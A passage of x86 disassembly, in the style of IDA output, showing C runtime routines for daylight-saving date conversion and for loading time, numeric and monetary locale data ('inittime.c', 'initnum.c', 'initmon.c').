jnz loc_43384C
mov eax, [ebp+arg_8]
and eax, 3
test eax, eax
jnz short loc_433799
mov ecx, [ebp+arg_C]
mov edx, ds:dword_454538[ecx*4]
mov [ebp+var_C], edx
jmp short loc_4337A6
; ---------------------------------------------------------------------------
loc_433799: ; CODE XREF: sub_433770+18j
mov eax, [ebp+arg_C]
mov ecx, ds:dword_45456C[eax*4]
mov [ebp+var_C], ecx
loc_4337A6: ; CODE XREF: sub_433770+27j
mov edx, [ebp+var_C]
add edx, 1
mov [ebp+var_8], edx
mov eax, [ebp+arg_8]
sub eax, 46h
imul eax, 16Dh
mov ecx, [ebp+var_8]
add ecx, eax
mov edx, [ebp+arg_8]
sub edx, 1
sar edx, 2
lea eax, [ecx+edx-0Dh]
cdq
mov ecx, 7
idiv ecx
mov [ebp+var_4], edx
mov edx, [ebp+var_4]
cmp edx, [ebp+arg_14]
jg short loc_4337F9
mov eax, [ebp+arg_14]
sub eax, [ebp+var_4]
mov ecx, [ebp+arg_10]
sub ecx, 1
imul ecx, 7
add ecx, [ebp+var_8]
add ecx, eax
mov [ebp+var_8], ecx
jmp short loc_43380D
; ---------------------------------------------------------------------------
loc_4337F9: ; CODE XREF: sub_433770+6Ej
mov edx, [ebp+arg_14]
sub edx, [ebp+var_4]
mov eax, [ebp+arg_10]
imul eax, 7
add eax, [ebp+var_8]
add eax, edx
mov [ebp+var_8], eax
loc_43380D: ; CODE XREF: sub_433770+87j
cmp [ebp+arg_10], 5
jnz short loc_43384A
mov ecx, [ebp+arg_8]
and ecx, 3
test ecx, ecx
jnz short loc_43382C
mov edx, [ebp+arg_C]
mov eax, ds:dword_45453C[edx*4]
mov [ebp+var_10], eax
jmp short loc_433839
; ---------------------------------------------------------------------------
loc_43382C: ; CODE XREF: sub_433770+ABj
mov ecx, [ebp+arg_C]
mov edx, ds:dword_454570[ecx*4]
mov [ebp+var_10], edx
loc_433839: ; CODE XREF: sub_433770+BAj
mov eax, [ebp+var_8]
cmp eax, [ebp+var_10]
jle short loc_43384A
mov ecx, [ebp+var_8]
sub ecx, 7
mov [ebp+var_8], ecx
loc_43384A: ; CODE XREF: sub_433770+A1j
; sub_433770+CFj
jmp short loc_433881
; ---------------------------------------------------------------------------
loc_43384C: ; CODE XREF: sub_433770+Aj
mov edx, [ebp+arg_8]
and edx, 3
test edx, edx
jnz short loc_433865
mov eax, [ebp+arg_C]
mov ecx, ds:dword_454538[eax*4]
mov [ebp+var_14], ecx
jmp short loc_433872
; ---------------------------------------------------------------------------
loc_433865: ; CODE XREF: sub_433770+E4j
mov edx, [ebp+arg_C]
mov eax, ds:dword_45456C[edx*4]
mov [ebp+var_14], eax
loc_433872: ; CODE XREF: sub_433770+F3j
mov ecx, [ebp+var_14]
mov [ebp+var_8], ecx
mov edx, [ebp+var_8]
add edx, [ebp+arg_18]
mov [ebp+var_8], edx
loc_433881: ; CODE XREF: sub_433770:loc_43384Aj
cmp [ebp+arg_0], 1
jnz short loc_4338C1
mov eax, [ebp+var_8]
mov ds:dword_454524, eax
mov ecx, [ebp+arg_1C]
imul ecx, 3Ch
mov edx, [ebp+arg_20]
add edx, ecx
imul edx, 3Ch
mov eax, [ebp+arg_24]
add eax, edx
imul eax, 3E8h
mov ecx, [ebp+arg_28]
add ecx, eax
mov ds:dword_454528, ecx
mov edx, [ebp+arg_8]
mov ds:dword_454520, edx
jmp loc_433964
; ---------------------------------------------------------------------------
loc_4338C1: ; CODE XREF: sub_433770+115j
mov eax, [ebp+var_8]
mov ds:dword_454534, eax
mov ecx, [ebp+arg_1C]
imul ecx, 3Ch
mov edx, [ebp+arg_20]
add edx, ecx
imul edx, 3Ch
mov eax, [ebp+arg_24]
add eax, edx
imul eax, 3E8h
mov ecx, [ebp+arg_28]
add ecx, eax
mov ds:dword_454538, ecx
mov edx, ds:dword_454490
imul edx, 3E8h
mov eax, ds:dword_454538
add eax, edx
mov ds:dword_454538, eax
cmp ds:dword_454538, 0
jge short loc_433931
mov ecx, ds:dword_454538
add ecx, 5265C00h
mov ds:dword_454538, ecx
mov edx, ds:dword_454534
sub edx, 1
mov ds:dword_454534, edx
jmp short loc_43395B
; ---------------------------------------------------------------------------
loc_433931: ; CODE XREF: sub_433770+19Cj
cmp ds:dword_454538, 5265C00h
jl short loc_43395B
mov eax, ds:dword_454538
sub eax, 5265C00h
mov ds:dword_454538, eax
mov ecx, ds:dword_454534
add ecx, 1
mov ds:dword_454534, ecx
loc_43395B: ; CODE XREF: sub_433770+1BFj
; sub_433770+1CBj
mov edx, [ebp+arg_8]
mov ds:dword_454530, edx
loc_433964: ; CODE XREF: sub_433770+14Cj
mov esp, ebp
pop ebp
retn
sub_433770 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_433970 proc near ; DATA XREF: _2:00454304o
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
cmp ds:dword_4F3404, 0
jz loc_433A11
push 48h
push offset aInittime_c ; "inittime.c"
push 2
push 0ACh
push 1
call sub_41C2D0
add esp, 14h
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_4339AC
mov eax, 1
jmp loc_433A47
; ---------------------------------------------------------------------------
loc_4339AC: ; CODE XREF: sub_433970+30j
mov eax, [ebp+var_4]
push eax
call sub_433A50
add esp, 4
test eax, eax
jz short loc_4339DD
mov ecx, [ebp+var_4]
push ecx
call sub_433FE0
add esp, 4
push 2
mov edx, [ebp+var_4]
push edx
call sub_41CA10
add esp, 8
mov eax, 1
jmp short loc_433A47
; ---------------------------------------------------------------------------
loc_4339DD: ; CODE XREF: sub_433970+4Aj
mov eax, [ebp+var_4]
mov ds:off_454D28, eax
mov ecx, ds:dword_4F3614
push ecx
call sub_433FE0
add esp, 4
push 2
mov edx, ds:dword_4F3614
push edx
call sub_41CA10
add esp, 8
mov eax, [ebp+var_4]
mov ds:dword_4F3614, eax
xor eax, eax
jmp short loc_433A47
; ---------------------------------------------------------------------------
loc_433A11: ; CODE XREF: sub_433970+Bj
mov ds:off_454D28, offset off_454D30
mov ecx, ds:dword_4F3614
push ecx
call sub_433FE0
add esp, 4
push 2
mov edx, ds:dword_4F3614
push edx
call sub_41CA10
add esp, 8
mov ds:dword_4F3614, 0
xor eax, eax
loc_433A47: ; CODE XREF: sub_433970+37j
; sub_433970+6Bj ...
mov esp, ebp
pop ebp
retn
sub_433970 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_433A50 proc near ; CODE XREF: sub_433970+40p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
mov [ebp+var_C], 0
xor eax, eax
mov ax, ds:word_4F364E
mov [ebp+var_4], eax
xor ecx, ecx
mov cx, ds:word_4F3650
mov [ebp+var_8], ecx
cmp [ebp+arg_0], 0
jnz short loc_433A82
or eax, 0FFFFFFFFh
jmp loc_433FDB
; ---------------------------------------------------------------------------
loc_433A82: ; CODE XREF: sub_433A50+28j
mov edx, [ebp+arg_0]
add edx, 4
push edx
push 31h
mov eax, [ebp+var_4]
push eax
push 1
call sub_438A00
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 8
push edx
push 32h
mov eax, [ebp+var_4]
push eax
push 1
call sub_438A00
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 0Ch
push edx
push 33h
mov eax, [ebp+var_4]
push eax
push 1
call sub_438A00
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 10h
push edx
push 34h
mov eax, [ebp+var_4]
push eax
push 1
call sub_438A00
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 14h
push edx
push 35h
mov eax, [ebp+var_4]
push eax
push 1
call sub_438A00
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 18h
push edx
push 36h
mov eax, [ebp+var_4]
push eax
push 1
call sub_438A00
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
push edx
push 37h
mov eax, [ebp+var_4]
push eax
push 1
call sub_438A00
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 20h
push edx
push 2Ah
mov eax, [ebp+var_4]
push eax
push 1
call sub_438A00
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 24h
push edx
push 2Bh
mov eax, [ebp+var_4]
push eax
push 1
call sub_438A00
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 28h
push edx
push 2Ch
mov eax, [ebp+var_4]
push eax
push 1
call sub_438A00
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 2Ch
push edx
push 2Dh
mov eax, [ebp+var_4]
push eax
push 1
call sub_438A00
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 30h
push edx
push 2Eh
mov eax, [ebp+var_4]
push eax
push 1
call sub_438A00
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 34h
push edx
push 2Fh
mov eax, [ebp+var_4]
push eax
push 1
call sub_438A00
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 1Ch
push edx
push 30h
mov eax, [ebp+var_4]
push eax
push 1
call sub_438A00
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 38h
push edx
push 44h
mov eax, [ebp+var_4]
push eax
push 1
call sub_438A00
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 3Ch
push edx
push 45h
mov eax, [ebp+var_4]
push eax
push 1
call sub_438A00
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 40h
push edx
push 46h
mov eax, [ebp+var_4]
push eax
push 1
call sub_438A00
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 44h
push edx
push 47h
mov eax, [ebp+var_4]
push eax
push 1
call sub_438A00
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 48h
push edx
push 48h
mov eax, [ebp+var_4]
push eax
push 1
call sub_438A00
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 4Ch
push edx
push 49h
mov eax, [ebp+var_4]
push eax
push 1
call sub_438A00
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 50h
push edx
push 4Ah
mov eax, [ebp+var_4]
push eax
push 1
call sub_438A00
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 54h
push edx
push 4Bh
mov eax, [ebp+var_4]
push eax
push 1
call sub_438A00
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 58h
push edx
push 4Ch
mov eax, [ebp+var_4]
push eax
push 1
call sub_438A00
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 5Ch
push edx
push 4Dh
mov eax, [ebp+var_4]
push eax
push 1
call sub_438A00
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 60h
push edx
push 4Eh
mov eax, [ebp+var_4]
push eax
push 1
call sub_438A00
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 64h
push edx
push 4Fh
mov eax, [ebp+var_4]
push eax
push 1
call sub_438A00
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 68h
push edx
push 38h
mov eax, [ebp+var_4]
push eax
push 1
call sub_438A00
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 6Ch
push edx
push 39h
mov eax, [ebp+var_4]
push eax
push 1
call sub_438A00
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 70h
push edx
push 3Ah
mov eax, [ebp+var_4]
push eax
push 1
call sub_438A00
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 74h
push edx
push 3Bh
mov eax, [ebp+var_4]
push eax
push 1
call sub_438A00
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 78h
push edx
push 3Ch
mov eax, [ebp+var_4]
push eax
push 1
call sub_438A00
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 7Ch
push edx
push 3Dh
mov eax, [ebp+var_4]
push eax
push 1
call sub_438A00
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 80h
push edx
push 3Eh
mov eax, [ebp+var_4]
push eax
push 1
call sub_438A00
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 84h
push edx
push 3Fh
mov eax, [ebp+var_4]
push eax
push 1
call sub_438A00
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 88h
push edx
push 40h
mov eax, [ebp+var_4]
push eax
push 1
call sub_438A00
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 8Ch
push edx
push 41h
mov eax, [ebp+var_4]
push eax
push 1
call sub_438A00
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 90h
push edx
push 42h
mov eax, [ebp+var_4]
push eax
push 1
call sub_438A00
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 94h
push edx
push 43h
mov eax, [ebp+var_4]
push eax
push 1
call sub_438A00
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 98h
push edx
push 28h
mov eax, [ebp+var_4]
push eax
push 1
call sub_438A00
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 9Ch
push edx
push 29h
mov eax, [ebp+var_4]
push eax
push 1
call sub_438A00
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 0A0h
push edx
push 1Fh
mov eax, [ebp+var_8]
push eax
push 1
call sub_438A00
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 0A4h
push edx
push 20h
mov eax, [ebp+var_8]
push eax
push 1
call sub_438A00
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 0A8h
push edx
push 1003h
mov eax, [ebp+var_8]
push eax
push 1
call sub_438A00
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov eax, [ebp+var_C]
loc_433FDB: ; CODE XREF: sub_433A50+2Dj
mov esp, ebp
pop ebp
retn
sub_433A50 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_433FE0 proc near ; CODE XREF: sub_433970+50p
; sub_433970+7Cp ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
cmp [ebp+arg_0], 0
jnz short loc_433FEE
jmp loc_4342E9
; ---------------------------------------------------------------------------
loc_433FEE: ; CODE XREF: sub_433FE0+7j
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
push ecx
call sub_41CA10
add esp, 8
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+8]
push eax
call sub_41CA10
add esp, 8
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+0Ch]
push edx
call sub_41CA10
add esp, 8
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax+10h]
push ecx
call sub_41CA10
add esp, 8
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+14h]
push eax
call sub_41CA10
add esp, 8
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+18h]
push edx
call sub_41CA10
add esp, 8
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax]
push ecx
call sub_41CA10
add esp, 8
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+20h]
push eax
call sub_41CA10
add esp, 8
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+24h]
push edx
call sub_41CA10
add esp, 8
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax+28h]
push ecx
call sub_41CA10
add esp, 8
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+2Ch]
push eax
call sub_41CA10
add esp, 8
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+30h]
push edx
call sub_41CA10
add esp, 8
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax+34h]
push ecx
call sub_41CA10
add esp, 8
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
push eax
call sub_41CA10
add esp, 8
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+38h]
push edx
call sub_41CA10
add esp, 8
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax+3Ch]
push ecx
call sub_41CA10
add esp, 8
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+40h]
push eax
call sub_41CA10
add esp, 8
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+44h]
push edx
call sub_41CA10
add esp, 8
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax+48h]
push ecx
call sub_41CA10
add esp, 8
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+4Ch]
push eax
call sub_41CA10
add esp, 8
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+50h]
push edx
call sub_41CA10
add esp, 8
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax+54h]
push ecx
call sub_41CA10
add esp, 8
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+58h]
push eax
call sub_41CA10
add esp, 8
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+5Ch]
push edx
call sub_41CA10
add esp, 8
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax+60h]
push ecx
call sub_41CA10
add esp, 8
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+64h]
push eax
call sub_41CA10
add esp, 8
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+68h]
push edx
call sub_41CA10
add esp, 8
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax+6Ch]
push ecx
call sub_41CA10
add esp, 8
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+70h]
push eax
call sub_41CA10
add esp, 8
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+74h]
push edx
call sub_41CA10
add esp, 8
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax+78h]
push ecx
call sub_41CA10
add esp, 8
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+7Ch]
push eax
call sub_41CA10
add esp, 8
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+80h]
push edx
call sub_41CA10
add esp, 8
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax+84h]
push ecx
call sub_41CA10
add esp, 8
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+88h]
push eax
call sub_41CA10
add esp, 8
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+8Ch]
push edx
call sub_41CA10
add esp, 8
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax+90h]
push ecx
call sub_41CA10
add esp, 8
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+94h]
push eax
call sub_41CA10
add esp, 8
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+98h]
push edx
call sub_41CA10
add esp, 8
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax+9Ch]
push ecx
call sub_41CA10
add esp, 8
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+0A0h]
push eax
call sub_41CA10
add esp, 8
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+0A4h]
push edx
call sub_41CA10
add esp, 8
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax+0A8h]
push ecx
call sub_41CA10
add esp, 8
loc_4342E9: ; CODE XREF: sub_433FE0+9j
pop ebp
retn
sub_433FE0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4342F0 proc near ; DATA XREF: _2:004542F8o
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_8], 0
xor eax, eax
mov ax, ds:word_4F364A
mov [ebp+var_4], eax
cmp ds:dword_4F3400, 0
jz loc_43446A
push offset dword_4F3618
push 0Eh
mov ecx, [ebp+var_4]
push ecx
push 1
call sub_438A00
add esp, 10h
mov edx, [ebp+var_8]
or edx, eax
mov [ebp+var_8], edx
push offset dword_4F361C
push 0Fh
mov eax, [ebp+var_4]
push eax
push 1
call sub_438A00
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
push offset dword_4F3620
push 10h
mov edx, [ebp+var_4]
push edx
push 1
call sub_438A00
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
mov edx, ds:dword_4F3620
push edx
call sub_4345A0
add esp, 4
cmp [ebp+var_8], 0
jz short loc_4343D9
push 2
mov eax, ds:dword_4F3618
push eax
call sub_41CA10
add esp, 8
push 2
mov ecx, ds:dword_4F361C
push ecx
call sub_41CA10
add esp, 8
push 2
mov edx, ds:dword_4F3620
push edx
call sub_41CA10
add esp, 8
mov ds:dword_4F3618, 0
mov ds:dword_4F361C, 0
mov ds:dword_4F3620, 0
or eax, 0FFFFFFFFh
jmp loc_434592
; ---------------------------------------------------------------------------
loc_4343D9: ; CODE XREF: sub_4342F0+8Fj
mov eax, ds:off_454E18
cmp dword ptr [eax], offset dword_454DE0
jz short loc_434420
push 2
mov ecx, ds:off_454E18
mov edx, [ecx]
push edx
call sub_41CA10
add esp, 8
push 2
mov eax, ds:off_454E18
mov ecx, [eax+4]
push ecx
call sub_41CA10
add esp, 8
push 2
mov edx, ds:off_454E18
mov eax, [edx+8]
push eax
call sub_41CA10
add esp, 8
loc_434420: ; CODE XREF: sub_4342F0+F4j
mov ecx, ds:off_454E18
mov edx, ds:dword_4F3618
mov [ecx], edx
mov eax, ds:off_454E18
mov ecx, ds:dword_4F361C
mov [eax+4], ecx
mov edx, ds:off_454E18
mov eax, ds:dword_4F3620
mov [edx+8], eax
mov ecx, ds:off_454E18
mov edx, [ecx]
mov al, [edx]
mov ds:byte_453DF4, al
mov ds:dword_453DF8, 1
xor eax, eax
jmp loc_434592
; ---------------------------------------------------------------------------
loc_43446A: ; CODE XREF: sub_4342F0+1Fj
push 2
mov ecx, ds:dword_4F3618
push ecx
call sub_41CA10
add esp, 8
push 2
mov edx, ds:dword_4F361C
push edx
call sub_41CA10
add esp, 8
push 2
mov eax, ds:dword_4F3620
push eax
call sub_41CA10
add esp, 8
mov ds:dword_4F3618, 0
mov ds:dword_4F361C, 0
mov ds:dword_4F3620, 0
push 88h
push offset aInitnum_c ; "initnum.c"
push 2
push 2
call sub_41BE70
add esp, 10h
mov ecx, ds:off_454E18
mov [ecx], eax
mov edx, ds:off_454E18
cmp dword ptr [edx], 0
jnz short loc_4344EB
or eax, 0FFFFFFFFh
jmp loc_434592
; ---------------------------------------------------------------------------
loc_4344EB: ; CODE XREF: sub_4342F0+1F1j
push offset a__4 ; "."
mov eax, ds:off_454E18
mov ecx, [eax]
push ecx
call sub_41F620
add esp, 8
push 8Dh
push offset aInitnum_c ; "initnum.c"
push 2
push 2
call sub_41BE70
add esp, 10h
mov edx, ds:off_454E18
mov [edx+4], eax
mov eax, ds:off_454E18
cmp dword ptr [eax+4], 0
jnz short loc_43452F
or eax, 0FFFFFFFFh
jmp short loc_434592
; ---------------------------------------------------------------------------
loc_43452F: ; CODE XREF: sub_4342F0+238j
mov ecx, ds:off_454E18
mov edx, [ecx+4]
mov byte ptr [edx], 0
push 92h
push offset aInitnum_c ; "initnum.c"
push 2
push 2
call sub_41BE70
add esp, 10h
mov ecx, ds:off_454E18
mov [ecx+8], eax
mov edx, ds:off_454E18
cmp dword ptr [edx+8], 0
jnz short loc_43456B
or eax, 0FFFFFFFFh
jmp short loc_434592
; ---------------------------------------------------------------------------
loc_43456B: ; CODE XREF: sub_4342F0+274j
mov eax, ds:off_454E18
mov ecx, [eax+8]
mov byte ptr [ecx], 0
mov edx, ds:off_454E18
mov eax, [edx]
mov cl, [eax]
mov ds:byte_453DF4, cl
mov ds:dword_453DF8, 1
xor eax, eax
loc_434592: ; CODE XREF: sub_4342F0+E4j
; sub_4342F0+175j ...
mov esp, ebp
pop ebp
retn
sub_4342F0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4345A0 proc near ; CODE XREF: sub_4342F0+83p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
loc_4345A4: ; CODE XREF: sub_4345A0:loc_434617j
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
test ecx, ecx
jz short loc_434619
mov edx, [ebp+arg_0]
movsx eax, byte ptr [edx]
cmp eax, 30h
jl short loc_4345DD
mov ecx, [ebp+arg_0]
movsx edx, byte ptr [ecx]
cmp edx, 39h
jg short loc_4345DD
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
sub ecx, 30h
mov edx, [ebp+arg_0]
mov [edx], cl
mov eax, [ebp+arg_0]
add eax, 1
mov [ebp+arg_0], eax
jmp short loc_434617
; ---------------------------------------------------------------------------
loc_4345DD: ; CODE XREF: sub_4345A0+17j
; sub_4345A0+22j
mov ecx, [ebp+arg_0]
movsx edx, byte ptr [ecx]
cmp edx, 3Bh
jnz short loc_43460E
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
loc_4345EE: ; CODE XREF: sub_4345A0+6Aj
mov ecx, [ebp+var_4]
mov edx, [ebp+var_4]
mov al, [edx+1]
mov [ecx], al
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx]
test eax, eax
jnz short loc_4345EE
jmp short loc_434617
; ---------------------------------------------------------------------------
loc_43460E: ; CODE XREF: sub_4345A0+46j
mov ecx, [ebp+arg_0]
add ecx, 1
mov [ebp+arg_0], ecx
loc_434617: ; CODE XREF: sub_4345A0+3Bj
; sub_4345A0+6Cj
jmp short loc_4345A4
; ---------------------------------------------------------------------------
loc_434619: ; CODE XREF: sub_4345A0+Cj
mov esp, ebp
pop ebp
retn
sub_4345A0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_434620 proc near ; DATA XREF: _2:004542ECo
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
cmp ds:dword_4F33FC, 0
jz loc_4346EC
push 4Ah
push offset aInitmon_c ; "initmon.c"
push 2
push 30h
push 1
call sub_41C2D0
add esp, 14h
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_434659
mov eax, 1
jmp loc_43474C
; ---------------------------------------------------------------------------
loc_434659: ; CODE XREF: sub_434620+2Dj
mov eax, [ebp+var_4]
push eax
call sub_434750
add esp, 4
test eax, eax
jz short loc_43468D
mov ecx, [ebp+var_4]
push ecx
call sub_4349E0
add esp, 4
push 2
mov edx, [ebp+var_4]
push edx
call sub_41CA10
add esp, 8
mov eax, 1
jmp loc_43474C
; ---------------------------------------------------------------------------
loc_43468D: ; CODE XREF: sub_434620+47j
mov eax, [ebp+var_4]
mov ecx, ds:off_454E18
mov edx, [ecx]
mov [eax], edx
mov eax, [ebp+var_4]
mov ecx, ds:off_454E18
mov edx, [ecx+4]
mov [eax+4], edx
mov eax, [ebp+var_4]
mov ecx, ds:off_454E18
mov edx, [ecx+8]
mov [eax+8], edx
